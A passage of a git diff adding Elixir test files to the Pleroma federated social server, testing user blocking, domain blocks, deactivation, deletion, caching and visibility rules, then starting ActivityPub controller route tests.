User.subscribed_to?(blocked, blocker) + refute User.subscribed_to?(blocker, blocked) + + {:ok, _user_relationship} = User.block(blocker, blocked) + + assert User.blocks?(blocker, blocked) + refute User.subscribed_to?(blocker, blocked) + refute User.subscribed_to?(blocked, blocker) + end + end + + describe "domain blocking" do + test "blocks domains" do + user = insert(:user) + collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"}) + + {:ok, user} = User.block_domain(user, "awful-and-rude-instance.com") + + assert User.blocks?(user, collateral_user) + end + + test "does not block domain with same end" do + user = insert(:user) + + collateral_user = + insert(:user, %{ap_id: "https://another-awful-and-rude-instance.com/user/bully"}) + + {:ok, user} = User.block_domain(user, "awful-and-rude-instance.com") + + refute User.blocks?(user, collateral_user) + end + + test "does not block domain with same end if wildcard added" do + user = insert(:user) + + collateral_user = + insert(:user, %{ap_id: "https://another-awful-and-rude-instance.com/user/bully"}) + + {:ok, user} = User.block_domain(user, "*.awful-and-rude-instance.com") + + refute User.blocks?(user, collateral_user) + end + + test "blocks domain with wildcard for subdomain" do + user = insert(:user) + + user_from_subdomain = + insert(:user, %{ap_id: "https://subdomain.awful-and-rude-instance.com/user/bully"}) + + user_with_two_subdomains = + insert(:user, %{ + ap_id: "https://subdomain.second_subdomain.awful-and-rude-instance.com/user/bully" + }) + + user_domain = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"}) + + {:ok, user} = User.block_domain(user, "*.awful-and-rude-instance.com") + + assert User.blocks?(user, user_from_subdomain) + assert User.blocks?(user, user_with_two_subdomains) + assert User.blocks?(user, user_domain) + end + + test "unblocks domains" do + user = insert(:user) + collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"}) + + {:ok, user} = User.block_domain(user, "awful-and-rude-instance.com") + {:ok, user} = User.unblock_domain(user, "awful-and-rude-instance.com") + + refute User.blocks?(user, collateral_user) + end + + test "follows take precedence over domain blocks" do + user = insert(:user) + good_eggo = insert(:user, %{ap_id: "https://meanies.social/user/cuteposter"}) + + {:ok, user} = User.block_domain(user, "meanies.social") + {:ok, user} = User.follow(user, good_eggo) + + refute User.blocks?(user, good_eggo) + end + end + + describe "get_recipients_from_activity" do + test "works for announces" do + actor = insert(:user) + user = insert(:user, local: true) + + {:ok, activity} = CommonAPI.post(actor, %{status: "hello"}) + {:ok, announce} = CommonAPI.repeat(activity.id, user) + + recipients = User.get_recipients_from_activity(announce) + + assert user in recipients + end + + test "get recipients" do + actor = insert(:user) + user = insert(:user, local: true) + user_two = insert(:user, local: false) + addressed = insert(:user, local: true) + addressed_remote = insert(:user, local: false) + + {:ok, activity} = + CommonAPI.post(actor, %{ + status: "hey @#{addressed.nickname} @#{addressed_remote.nickname}" + }) + + assert Enum.map([actor, addressed], & &1.ap_id) -- + Enum.map(User.get_recipients_from_activity(activity), & &1.ap_id) == [] + + {:ok, user} = User.follow(user, actor) + {:ok, _user_two} = User.follow(user_two, actor) + recipients = User.get_recipients_from_activity(activity) + assert length(recipients) == 3 + assert user in recipients + assert addressed in recipients + end + + test "has following" do + actor = insert(:user) + user = insert(:user) + user_two = insert(:user) + addressed = insert(:user, local: true) + + {:ok, activity} = + CommonAPI.post(actor, %{ + status: "hey @#{addressed.nickname}" + }) + + assert Enum.map([actor, addressed], & &1.ap_id) -- + Enum.map(User.get_recipients_from_activity(activity), & &1.ap_id) == [] + + {:ok, _actor} = User.follow(actor, user) + {:ok, _actor} = User.follow(actor, user_two) + recipients = User.get_recipients_from_activity(activity) + assert length(recipients) == 2 + assert addressed in recipients + end + end + + describe ".deactivate" do + test "can de-activate then re-activate a user" do + user = insert(:user) + assert false == user.deactivated + {:ok, user} = User.deactivate(user) + assert true == user.deactivated + {:ok, user} = User.deactivate(user, false) + assert false == user.deactivated + end + + test "hide a user from followers" do + user = insert(:user) + user2 = insert(:user) + + {:ok, user} = User.follow(user, user2) + {:ok, _user} = User.deactivate(user) + + user2 = User.get_cached_by_id(user2.id) + + assert user2.follower_count == 0 + assert [] = User.get_followers(user2) + end + + test "hide a user from friends" do + user = insert(:user) + user2 = insert(:user) + + {:ok, user2} = User.follow(user2, user) + assert user2.following_count == 1 + assert User.following_count(user2) == 1 + + {:ok, _user} = User.deactivate(user) + + user2 = User.get_cached_by_id(user2.id) + + assert refresh_record(user2).following_count == 0 + assert user2.following_count == 0 + assert User.following_count(user2) == 0 + assert [] = User.get_friends(user2) + end + + test "hide a user's statuses from timelines and notifications" do + user = insert(:user) + user2 = insert(:user) + + {:ok, user2} = User.follow(user2, user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{user2.nickname}"}) + + activity = Repo.preload(activity, :bookmark) + + [notification] = Pleroma.Notification.for_user(user2) + assert notification.activity.id == activity.id + + assert [activity] == ActivityPub.fetch_public_activities(%{}) |> Repo.preload(:bookmark) + + assert [%{activity | thread_muted?: CommonAPI.thread_muted?(user2, activity)}] == + ActivityPub.fetch_activities([user2.ap_id | User.following(user2)], %{ + user: user2 + }) + + {:ok, _user} = User.deactivate(user) + + assert [] == ActivityPub.fetch_public_activities(%{}) + assert [] == Pleroma.Notification.for_user(user2) + + assert [] == + ActivityPub.fetch_activities([user2.ap_id | User.following(user2)], %{ + user: user2 + }) + end + end + + describe "approve" do + test "approves a user" do + user = insert(:user, approval_pending: true) + assert true == user.approval_pending + {:ok, user} = User.approve(user) + assert false == user.approval_pending + end + + test "approves a list of users" do + unapproved_users = [ + insert(:user, approval_pending: true), + insert(:user, approval_pending: true), + insert(:user, approval_pending: true) + ] + + {:ok, users} = User.approve(unapproved_users) + + assert Enum.count(users) == 3 + + Enum.each(users, fn user -> + assert false == user.approval_pending + end) + end + end + + describe "delete" do + setup do + {:ok, user} = insert(:user) |> User.set_cache() + + [user: user] + end + + setup do: clear_config([:instance, :federating]) + + test ".delete_user_activities deletes all create activities", %{user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "2hu"}) + + User.delete_user_activities(user) + + # TODO: Test removal favorites, repeats, delete activities. + refute Activity.get_by_id(activity.id) + end + + test "it deactivates a user, all follow relationships and all activities", %{user: user} do + follower = insert(:user) + {:ok, follower} = User.follow(follower, user) + + locked_user = insert(:user, name: "locked", locked: true) + {:ok, _} = User.follow(user, locked_user, :follow_pending) + + object = insert(:note, user: user) + activity = insert(:note_activity, user: user, note: object) + + object_two = insert(:note, user: follower) + activity_two = insert(:note_activity, user: follower, note: object_two) + + {:ok, like} = CommonAPI.favorite(user, activity_two.id) + {:ok, like_two} = CommonAPI.favorite(follower, activity.id) + {:ok, repeat} = CommonAPI.repeat(activity_two.id, user) + + {:ok, job} = User.delete(user) + {:ok, _user} = ObanHelpers.perform(job) + + follower = User.get_cached_by_id(follower.id) + + refute User.following?(follower, user) + assert %{deactivated: true} = User.get_by_id(user.id) + + assert [] == User.get_follow_requests(locked_user) + + user_activities = + user.ap_id + |> Activity.Queries.by_actor() + |> Repo.all() + |> Enum.map(fn act -> act.data["type"] end) + + assert Enum.all?(user_activities, fn act -> act in ~w(Delete Undo) end) + + refute Activity.get_by_id(activity.id) + refute Activity.get_by_id(like.id) + refute Activity.get_by_id(like_two.id) + refute Activity.get_by_id(repeat.id) + end + end + + describe "delete/1 when confirmation is pending" do + setup do + user = insert(:user, confirmation_pending: true) + {:ok, user: user} + end + + test "deletes user from database when activation required", %{user: user} do + clear_config([:instance, :account_activation_required], true) + + {:ok, job} = User.delete(user) + {:ok, _} = ObanHelpers.perform(job) + + refute User.get_cached_by_id(user.id) + refute User.get_by_id(user.id) + end + + test "deactivates user when activation is not required", %{user: user} do + clear_config([:instance, :account_activation_required], false) + + {:ok, job} = User.delete(user) + {:ok, _} = ObanHelpers.perform(job) + + assert %{deactivated: true} = User.get_cached_by_id(user.id) + assert %{deactivated: true} = User.get_by_id(user.id) + end + end + + test "delete/1 when approval is pending deletes the user" do + user = insert(:user, approval_pending: true) + + {:ok, job} = User.delete(user) + {:ok, _} = ObanHelpers.perform(job) + + refute User.get_cached_by_id(user.id) + refute User.get_by_id(user.id) + end + + test "delete/1 purges a user when they wouldn't be fully deleted" do + user = + insert(:user, %{ + bio: "eyy lmao", + name: "qqqqqqq", + password_hash: "pdfk2$1b3n159001", + keys: "RSA begin buplic key", + public_key: "--PRIVATE KEYE--", + avatar: %{"a" => "b"}, + tags: ["qqqqq"], + banner: %{"a" => "b"}, + background: %{"a" => "b"}, + note_count: 9, + follower_count: 9, + following_count: 9001, + locked: true, + confirmation_pending: true, + password_reset_pending: true, + approval_pending: true, + registration_reason: "ahhhhh", + confirmation_token: "qqqq", + domain_blocks: ["lain.com"], + deactivated: true, + ap_enabled: true, + is_moderator: true, + is_admin: true, + mastofe_settings: %{"a" => "b"}, + mascot: %{"a" => "b"}, + emoji: %{"a" => "b"}, + pleroma_settings_store: %{"q" => "x"}, + fields: [%{"gg" => "qq"}], + raw_fields: [%{"gg" => "qq"}], + discoverable: true, + also_known_as: ["https://lol.olo/users/loll"] + }) + + {:ok, job} = User.delete(user) + {:ok, _} = ObanHelpers.perform(job) + user = User.get_by_id(user.id) + + assert %User{ + bio: "", + raw_bio: nil, + email: nil, + name: nil, + password_hash: nil, + keys: nil, + public_key: nil, + avatar: %{}, + tags: [], + last_refreshed_at: nil, + last_digest_emailed_at: nil, + banner: %{}, + background: %{}, + note_count: 0, + follower_count: 0, + following_count: 0, + locked: false, + confirmation_pending: false, + password_reset_pending: false, + approval_pending: false, + registration_reason: nil, + confirmation_token: nil, + domain_blocks: [], + deactivated: true, + ap_enabled: false, + is_moderator: false, + is_admin: false, + mastofe_settings: nil, + mascot: nil, + emoji: %{}, + pleroma_settings_store: %{}, + fields: [], + raw_fields: [], + discoverable: false, + also_known_as: [] + } = user + end + + test "get_public_key_for_ap_id fetches a user that's not in the db" do + assert {:ok, _key} = User.get_public_key_for_ap_id("http://mastodon.example.org/users/admin") + end + + describe "per-user rich-text filtering" do + test "html_filter_policy returns default policies, when rich-text is enabled" do + user = insert(:user) + + assert Pleroma.Config.get([:markup, :scrub_policy]) == User.html_filter_policy(user) + end + + test "html_filter_policy returns TwitterText scrubber when rich-text is disabled" do + user = insert(:user, no_rich_text: true) + + assert Pleroma.HTML.Scrubber.TwitterText == User.html_filter_policy(user) + end + end + + describe "caching" do + test "invalidate_cache works" do + user = insert(:user) + + User.set_cache(user) + User.invalidate_cache(user) + + {:ok, nil} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") + {:ok, nil} = Cachex.get(:user_cache, "nickname:#{user.nickname}") + end + + test "User.delete() plugs any possible zombie objects" do + user = insert(:user) + + {:ok, job} = User.delete(user) + {:ok, _} = ObanHelpers.perform(job) + + {:ok, cached_user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") + + assert cached_user != user + + {:ok, cached_user} = Cachex.get(:user_cache, "nickname:#{user.ap_id}") + + assert cached_user != user + end + end + + describe "account_status/1" do + setup do: clear_config([:instance, :account_activation_required]) + + test "return confirmation_pending for unconfirm user" do + Pleroma.Config.put([:instance, :account_activation_required], true) + user = insert(:user, confirmation_pending: true) + assert User.account_status(user) == :confirmation_pending + end + + test "return active for confirmed user" do + Pleroma.Config.put([:instance, :account_activation_required], true) + user = insert(:user, confirmation_pending: false) + assert User.account_status(user) == :active + end + + test "return active for remote user" do + user = insert(:user, local: false) + assert User.account_status(user) == :active + end + + test "returns :password_reset_pending for user with reset password" do + user = insert(:user, password_reset_pending: true) + assert User.account_status(user) == :password_reset_pending + end + + test "returns :deactivated for deactivated user" do + user = insert(:user, local: true, confirmation_pending: false, deactivated: true) + assert User.account_status(user) == :deactivated + end + + test "returns :approval_pending for unapproved user" do + user = insert(:user, local: true, approval_pending: true) + assert User.account_status(user) == :approval_pending + + user = insert(:user, local: true, confirmation_pending: true, approval_pending: true) + assert User.account_status(user) == :approval_pending + end + end + + describe "superuser?/1" do + test "returns false for unprivileged users" do + user = insert(:user, local: true) + + refute User.superuser?(user) + end + + test "returns false for remote users" do + user = insert(:user, local: false) + remote_admin_user = insert(:user, local: false, is_admin: true) + + refute User.superuser?(user) + refute User.superuser?(remote_admin_user) + end + + test "returns true for local moderators" do + user = insert(:user, local: true, is_moderator: true) + + assert User.superuser?(user) + end + + test "returns true for local admins" do + user = insert(:user, local: true, is_admin: true) + + assert User.superuser?(user) + end + end + + describe "invisible?/1" do + test "returns true for an invisible user" do + user = insert(:user, local: true, invisible: true) + + assert User.invisible?(user) + end + + test "returns false for a non-invisible user" do + user = insert(:user, local: true) + + refute User.invisible?(user) + end + end + + describe "visible_for/2" do + test "returns true when the account is itself" do + user = insert(:user, local: true) + + assert User.visible_for(user, user) == :visible + end + + test "returns false when the account is unconfirmed and confirmation is required" do + Pleroma.Config.put([:instance, :account_activation_required], true) + + user = insert(:user, local: true, confirmation_pending: true) + other_user = insert(:user, local: true) + + refute User.visible_for(user, other_user) == :visible + end + + test "returns true when the account is unconfirmed and confirmation is required but the account is remote" do + Pleroma.Config.put([:instance, :account_activation_required], true) + + user = insert(:user, local: false, confirmation_pending: true) + other_user = insert(:user, local: true) + + assert User.visible_for(user, other_user) == :visible + end + + test "returns true when the account is unconfirmed and confirmation is not required" do + user = insert(:user, local: true, confirmation_pending: true) + other_user = insert(:user, local: true) + + assert User.visible_for(user, other_user) == :visible + end + + test "returns true when the account is unconfirmed and being viewed by a privileged account (confirmation required)" do + Pleroma.Config.put([:instance, :account_activation_required], true) + + user = insert(:user, local: true, confirmation_pending: true) + other_user = insert(:user, local: true, is_admin: true) + + assert User.visible_for(user, other_user) == :visible + end + end + + describe "parse_bio/2" do + test "preserves hosts in user links text" do + remote_user = insert(:user, local: false, nickname: "nick@domain.com") + user = insert(:user) + bio = "A.k.a. @nick@domain.com" + + expected_text = + ~s(A.k.a. @nick@domain.com) + + assert expected_text == User.parse_bio(bio, user) + end + + test "Adds rel=me on linkbacked urls" do + user = insert(:user, ap_id: "https://social.example.org/users/lain") + + bio = "http://example.com/rel_me/null" + expected_text = "#{bio}" + assert expected_text == User.parse_bio(bio, user) + + bio = "http://example.com/rel_me/link" + expected_text = "#{bio}" + assert expected_text == User.parse_bio(bio, user) + + bio = "http://example.com/rel_me/anchor" + expected_text = "#{bio}" + assert expected_text == User.parse_bio(bio, user) + end + end + + test "follower count is updated when a follower is blocked" do + user = insert(:user) + follower = insert(:user) + follower2 = insert(:user) + follower3 = insert(:user) + + {:ok, follower} = User.follow(follower, user) + {:ok, _follower2} = User.follow(follower2, user) + {:ok, _follower3} = User.follow(follower3, user) + + {:ok, _user_relationship} = User.block(user, follower) + user = refresh_record(user) + + assert user.follower_count == 2 + end + + describe "list_inactive_users_query/1" do + defp days_ago(days) do + NaiveDateTime.add( + NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second), + -days * 60 * 60 * 24, + :second + ) + end + + test "Users are inactive by default" do + total = 10 + + users = + Enum.map(1..total, fn _ -> + insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false) + end) + + inactive_users_ids = + Pleroma.User.list_inactive_users_query() + |> Pleroma.Repo.all() + |> Enum.map(& &1.id) + + Enum.each(users, fn user -> + assert user.id in inactive_users_ids + end) + end + + test "Only includes users who has no recent activity" do + total = 10 + + users = + Enum.map(1..total, fn _ -> + insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false) + end) + + {inactive, active} = Enum.split(users, trunc(total / 2)) + + Enum.map(active, fn user -> + to = Enum.random(users -- [user]) + + {:ok, _} = + CommonAPI.post(user, %{ + status: "hey @#{to.nickname}" + }) + end) + + inactive_users_ids = + Pleroma.User.list_inactive_users_query() + |> Pleroma.Repo.all() + |> Enum.map(& &1.id) + + Enum.each(active, fn user -> + refute user.id in inactive_users_ids + end) + + Enum.each(inactive, fn user -> + assert user.id in inactive_users_ids + end) + end + + test "Only includes users with no read notifications" do + total = 10 + + users = + Enum.map(1..total, fn _ -> + insert(:user, last_digest_emailed_at: days_ago(20), deactivated: false) + end) + + [sender | recipients] = users + {inactive, active} = Enum.split(recipients, trunc(total / 2)) + + Enum.each(recipients, fn to -> + {:ok, _} = + CommonAPI.post(sender, %{ + status: "hey @#{to.nickname}" + }) + + {:ok, _} = + CommonAPI.post(sender, %{ + status: "hey again @#{to.nickname}" + }) + end) + + Enum.each(active, fn user -> + [n1, _n2] = Pleroma.Notification.for_user(user) + {:ok, _} = Pleroma.Notification.read_one(user, n1.id) + end) + + inactive_users_ids = + Pleroma.User.list_inactive_users_query() + |> Pleroma.Repo.all() + |> Enum.map(& &1.id) + + Enum.each(active, fn user -> + refute user.id in inactive_users_ids + end) + + Enum.each(inactive, fn user -> + assert user.id in inactive_users_ids + end) + end + end + + describe "toggle_confirmation/1" do + test "if user is confirmed" do + user = insert(:user, confirmation_pending: false) + {:ok, user} = User.toggle_confirmation(user) + + assert user.confirmation_pending + assert user.confirmation_token + end + + test "if user is unconfirmed" do + user = insert(:user, confirmation_pending: true, confirmation_token: "some token") + {:ok, user} = User.toggle_confirmation(user) + + refute user.confirmation_pending + refute user.confirmation_token + end + end + + describe "ensure_keys_present" do + test "it creates keys for a user and stores them in info" do + user = insert(:user) + refute is_binary(user.keys) + {:ok, user} = User.ensure_keys_present(user) + assert is_binary(user.keys) + end + + test "it doesn't create keys if there already are some" do + user = insert(:user, keys: "xxx") + {:ok, user} = User.ensure_keys_present(user) + assert user.keys == "xxx" + end + end + + describe "get_ap_ids_by_nicknames" do + test "it returns a list of AP ids for a given set of nicknames" do + user = insert(:user) + user_two = insert(:user) + + ap_ids = User.get_ap_ids_by_nicknames([user.nickname, user_two.nickname, "nonexistent"]) + assert length(ap_ids) == 2 + assert user.ap_id in ap_ids + assert user_two.ap_id in ap_ids + end + end + + describe "sync followers count" do + setup do + user1 = insert(:user, local: false, ap_id: "http://localhost:4001/users/masto_closed") + user2 = insert(:user, local: false, ap_id: "http://localhost:4001/users/fuser2") + insert(:user, local: true) + insert(:user, local: false, deactivated: true) + {:ok, user1: user1, user2: user2} + end + + test "external_users/1 external active users with limit", %{user1: user1, user2: user2} do + [fdb_user1] = User.external_users(limit: 1) + + assert fdb_user1.ap_id + assert fdb_user1.ap_id == user1.ap_id + assert fdb_user1.id == user1.id + + [fdb_user2] = User.external_users(max_id: fdb_user1.id, limit: 1) + + assert fdb_user2.ap_id + assert fdb_user2.ap_id == user2.ap_id + assert fdb_user2.id == user2.id + + assert User.external_users(max_id: fdb_user2.id, limit: 1) == [] + end + end + + describe "is_internal_user?/1" do + test "non-internal user returns false" do + user = insert(:user) + refute User.is_internal_user?(user) + end + + test "user with no nickname returns true" do + user = insert(:user, %{nickname: nil}) + assert User.is_internal_user?(user) + end + + test "user with internal-prefixed nickname returns true" do + user = insert(:user, %{nickname: "internal.test"}) + assert User.is_internal_user?(user) + end + end + + describe "update_and_set_cache/1" do + test "returns error when user is stale instead Ecto.StaleEntryError" do + user = insert(:user) + + changeset = Ecto.Changeset.change(user, bio: "test") + + Repo.delete(user) + + assert {:error, %Ecto.Changeset{errors: [id: {"is stale", [stale: true]}], valid?: false}} = + User.update_and_set_cache(changeset) + end + + test "performs update cache if user updated" do + user = insert(:user) + assert {:ok, nil} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") + + changeset = Ecto.Changeset.change(user, bio: "test-bio") + + assert {:ok, %User{bio: "test-bio"} = user} = User.update_and_set_cache(changeset) + assert {:ok, user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") + assert %User{bio: "test-bio"} = User.get_cached_by_ap_id(user.ap_id) + end + end + + describe "following/followers synchronization" do + setup do: clear_config([:instance, :external_user_synchronization]) + + test "updates the counters normally on following/getting a follow when disabled" do + Pleroma.Config.put([:instance, :external_user_synchronization], false) + user = insert(:user) + + other_user = + insert(:user, + local: false, + follower_address: "http://localhost:4001/users/masto_closed/followers", + following_address: "http://localhost:4001/users/masto_closed/following", + ap_enabled: true + ) + + assert other_user.following_count == 0 + assert other_user.follower_count == 0 + + {:ok, user} = Pleroma.User.follow(user, other_user) + other_user = Pleroma.User.get_by_id(other_user.id) + + assert user.following_count == 1 + assert other_user.follower_count == 1 + end + + test "syncronizes the counters with the remote instance for the followed when enabled" do + Pleroma.Config.put([:instance, :external_user_synchronization], false) + + user = insert(:user) + + other_user = + insert(:user, + local: false, + follower_address: "http://localhost:4001/users/masto_closed/followers", + following_address: "http://localhost:4001/users/masto_closed/following", + ap_enabled: true + ) + + assert other_user.following_count == 0 + assert other_user.follower_count == 0 + + Pleroma.Config.put([:instance, :external_user_synchronization], true) + {:ok, _user} = User.follow(user, other_user) + other_user = User.get_by_id(other_user.id) + + assert other_user.follower_count == 437 + end + + test "syncronizes the counters with the remote instance for the follower when enabled" do + Pleroma.Config.put([:instance, :external_user_synchronization], false) + + user = insert(:user) + + other_user = + insert(:user, + local: false, + follower_address: "http://localhost:4001/users/masto_closed/followers", + following_address: "http://localhost:4001/users/masto_closed/following", + ap_enabled: true + ) + + assert other_user.following_count == 0 + assert other_user.follower_count == 0 + + Pleroma.Config.put([:instance, :external_user_synchronization], true) + {:ok, other_user} = User.follow(other_user, user) + + assert other_user.following_count == 152 + end + end + + describe "change_email/2" do + setup do + [user: insert(:user)] + end + + test "blank email returns error", %{user: user} do + assert {:error, %{errors: [email: {"can't be blank", _}]}} = User.change_email(user, "") + assert {:error, %{errors: [email: {"can't be blank", _}]}} = User.change_email(user, nil) + end + + test "non unique email returns error", %{user: user} do + %{email: email} = insert(:user) + + assert {:error, %{errors: [email: {"has already been taken", _}]}} = + User.change_email(user, email) + end + + test "invalid email returns error", %{user: user} do + assert {:error, %{errors: [email: {"has invalid format", _}]}} = + User.change_email(user, "cofe") + end + + test "changes email", %{user: user} do + assert {:ok, %User{email: "cofe@cofe.party"}} = User.change_email(user, "cofe@cofe.party") + end + end + + describe "get_cached_by_nickname_or_id" do + setup do + local_user = insert(:user) + remote_user = insert(:user, nickname: "nickname@example.com", local: false) + + [local_user: local_user, remote_user: remote_user] + end + + setup do: clear_config([:instance, :limit_to_local_content]) + + test "allows getting remote users by id no matter what :limit_to_local_content is set to", %{ + remote_user: remote_user + } do + Pleroma.Config.put([:instance, :limit_to_local_content], false) + assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id) + + Pleroma.Config.put([:instance, :limit_to_local_content], true) + assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id) + + Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) + assert %User{} = User.get_cached_by_nickname_or_id(remote_user.id) + end + + test "disallows getting remote users by nickname without authentication when :limit_to_local_content is set to :unauthenticated", + %{remote_user: remote_user} do + Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) + assert nil == User.get_cached_by_nickname_or_id(remote_user.nickname) + end + + test "allows getting remote users by nickname with authentication when :limit_to_local_content is set to :unauthenticated", + %{remote_user: remote_user, local_user: local_user} do + Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) + assert %User{} = User.get_cached_by_nickname_or_id(remote_user.nickname, for: local_user) + end + + test "disallows getting remote users by nickname when :limit_to_local_content is set to true", + %{remote_user: remote_user} do + Pleroma.Config.put([:instance, :limit_to_local_content], true) + assert nil == User.get_cached_by_nickname_or_id(remote_user.nickname) + end + + test "allows getting local users by nickname no matter what :limit_to_local_content is set to", + %{local_user: local_user} do + Pleroma.Config.put([:instance, :limit_to_local_content], false) + assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname) + + Pleroma.Config.put([:instance, :limit_to_local_content], true) + assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname) + + Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) + assert %User{} = User.get_cached_by_nickname_or_id(local_user.nickname) + end + end + + describe "update_email_notifications/2" do + setup do + user = insert(:user, email_notifications: %{"digest" => true}) + + {:ok, user: user} + end + + test "Notifications are updated", %{user: user} do + true = user.email_notifications["digest"] + assert {:ok, result} = User.update_email_notifications(user, %{"digest" => false}) + assert result.email_notifications["digest"] == false + end + end + + test "avatar fallback" do + user = insert(:user) + assert User.avatar_url(user) =~ "/images/avi.png" + + clear_config([:assets, :default_user_avatar], "avatar.png") + + user = User.get_cached_by_nickname_or_id(user.nickname) + assert User.avatar_url(user) =~ "avatar.png" + + assert User.avatar_url(user, no_default: true) == nil + end +end diff --git a/test/pleroma/web/activity_pub/activity_pub_controller_test.exs b/test/pleroma/web/activity_pub/activity_pub_controller_test.exs new file mode 100644 index 000000000..0517571f2 --- /dev/null +++ b/test/pleroma/web/activity_pub/activity_pub_controller_test.exs @@ -0,0 +1,1550 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do + use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.Delivery + alias Pleroma.Instances + alias Pleroma.Object + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.ObjectView + alias Pleroma.Web.ActivityPub.Relay + alias Pleroma.Web.ActivityPub.UserView + alias Pleroma.Web.ActivityPub.Utils + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Endpoint + alias Pleroma.Workers.ReceiverWorker + + import Pleroma.Factory + + require Pleroma.Constants + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup do: clear_config([:instance, :federating], true) + + describe "/relay" do + setup do: clear_config([:instance, :allow_relay]) + + test "with the relay active, it returns the relay user", %{conn: conn} do + res = + conn + |> get(activity_pub_path(conn, :relay)) + |> json_response(200) + + assert res["id"] =~ "/relay" + end + + test "with the relay disabled, it returns 404", %{conn: conn} do + Config.put([:instance, :allow_relay], false) + + conn + |> get(activity_pub_path(conn, :relay)) + |> json_response(404) + end + + test "on non-federating instance, it returns 404", %{conn: conn} do + Config.put([:instance, :federating], false) + user = insert(:user) + + conn + |> assign(:user, user) + |> get(activity_pub_path(conn, :relay)) + |> json_response(404) + end + end + + describe "/internal/fetch" do + test "it returns the internal fetch user", %{conn: conn} do + res = + conn + |> get(activity_pub_path(conn, :internal_fetch)) + |> json_response(200) + + assert res["id"] =~ "/fetch" + end + + test "on non-federating instance, it returns 404", %{conn: conn} do + Config.put([:instance, :federating], false) + user = insert(:user) + + conn + |> assign(:user, user) + |> get(activity_pub_path(conn, :internal_fetch)) + |> json_response(404) + end + end + + describe "/users/:nickname" do + test "it returns a json representation of the user with accept application/json", %{ + conn: conn + } do + user = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> get("/users/#{user.nickname}") + + user = User.get_cached_by_id(user.id) + + assert json_response(conn, 200) == UserView.render("user.json", %{user: user}) + end + + test "it returns a json representation of the user with accept application/activity+json", %{ + conn: conn + } do + user = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/users/#{user.nickname}") + + user = User.get_cached_by_id(user.id) + + assert json_response(conn, 200) == UserView.render("user.json", %{user: user}) + end + + test "it returns a json representation of the user with accept application/ld+json", %{ + conn: conn + } do + user = insert(:user) + + conn = + conn + |> put_req_header( + "accept", + "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" + ) + |> get("/users/#{user.nickname}") + + user = User.get_cached_by_id(user.id) + + assert json_response(conn, 200) == UserView.render("user.json", %{user: user}) + end + + test "it returns 404 for remote users", %{ + conn: conn + } do + user = insert(:user, local: false, nickname: "remoteuser@example.com") + + conn = + conn + |> put_req_header("accept", "application/json") + |> get("/users/#{user.nickname}.json") + + assert json_response(conn, 404) + end + + test "it returns error when user is not found", %{conn: conn} do + response = + conn + |> put_req_header("accept", "application/json") + |> get("/users/jimm") + |> json_response(404) + + assert response == "Not found" + end + + test "it requires authentication if instance is NOT federating", %{ + conn: conn + } do + user = insert(:user) + + conn = + put_req_header( + conn, + "accept", + "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" + ) + + ensure_federating_or_authenticated(conn, "/users/#{user.nickname}.json", user) + end + end + + describe "mastodon compatibility routes" do + test "it returns a json representation of the object with accept application/json", %{ + conn: conn + } do + {:ok, object} = + %{ + "type" => "Note", + "content" => "hey", + "id" => Endpoint.url() <> "/users/raymoo/statuses/999999999", + "actor" => Endpoint.url() <> "/users/raymoo", + "to" => [Pleroma.Constants.as_public()] + } + |> Object.create() + + conn = + conn + |> put_req_header("accept", "application/json") + |> get("/users/raymoo/statuses/999999999") + + assert json_response(conn, 200) == ObjectView.render("object.json", %{object: object}) + end + + test "it returns a json representation of the activity with accept application/json", %{ + conn: conn + } do + {:ok, object} = + %{ + "type" => "Note", + "content" => "hey", + "id" => Endpoint.url() <> "/users/raymoo/statuses/999999999", + "actor" => Endpoint.url() <> "/users/raymoo", + "to" => [Pleroma.Constants.as_public()] + } + |> Object.create() + + {:ok, activity, _} = + %{ + "id" => object.data["id"] <> "/activity", + "type" => "Create", + "object" => object.data["id"], + "actor" => object.data["actor"], + "to" => object.data["to"] + } + |> ActivityPub.persist(local: true) + + conn = + conn + |> put_req_header("accept", "application/json") + |> get("/users/raymoo/statuses/999999999/activity") + + assert json_response(conn, 200) == ObjectView.render("object.json", %{object: activity}) + end + end + + describe "/objects/:uuid" do + test "it returns a json representation of the object with accept application/json", %{ + conn: conn + } do + note = insert(:note) + uuid = String.split(note.data["id"], "/") |> List.last() + + conn = + conn + |> put_req_header("accept", "application/json") + |> get("/objects/#{uuid}") + + assert json_response(conn, 200) == ObjectView.render("object.json", %{object: note}) + end + + test "it returns a json representation of the object with accept application/activity+json", + %{conn: conn} do + note = insert(:note) + uuid = String.split(note.data["id"], "/") |> List.last() + + conn = + conn + |> put_req_header("accept", "application/activity+json") + |> 